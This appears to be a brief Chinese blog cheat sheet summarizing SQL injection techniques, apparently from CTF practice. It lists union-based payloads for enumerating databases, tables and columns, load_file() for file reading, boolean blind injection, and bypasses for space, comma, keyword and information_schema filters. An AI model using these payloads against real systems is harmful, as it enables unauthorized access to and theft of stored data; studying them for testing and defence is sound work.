SQL注入总结

0x00 前言

简单的总结一下SQL注入的内容

0x01 常规注入

通过特殊字符测试闭合,通常使用的闭合方式有' " ') ")等,当然也有一种可能是数字型,一般就靠试

1.判断字段

a' union select 1,2,3 #

2.执行基础内容

a' union select 1,database(),3  #

3.查表

a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();#

4.查列

a' union select table_name,column_name from information_schema.columns where table_name='users'#

5.查看具体数据

a' union select 1,falg,3 from web2.flag#

获取用户

select user()

获取数据库

select database()

读取文件

load_file("")

0x02 盲注

1.布尔盲注

1.1 ascii

ascii(substr(database(),1,1))>1

0x03 绕过

1.空格绕过

空格可以通过/**/进行绕过
可以通过//进行绕过

2.逗号绕过

ascii(substr((database()) from 1 for 1))>1#

3. and 绕过

and=&& or=|| xor=| not=!

4.information_schema.tables绕过

可以通过 这种方式进行绕过

information_schema.`tables`

5. 无列名注入

会将想要查询的内容变成一列进行列出

union select group_concat(b) from (select 1,2,3 as b union select  * from a)l #
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值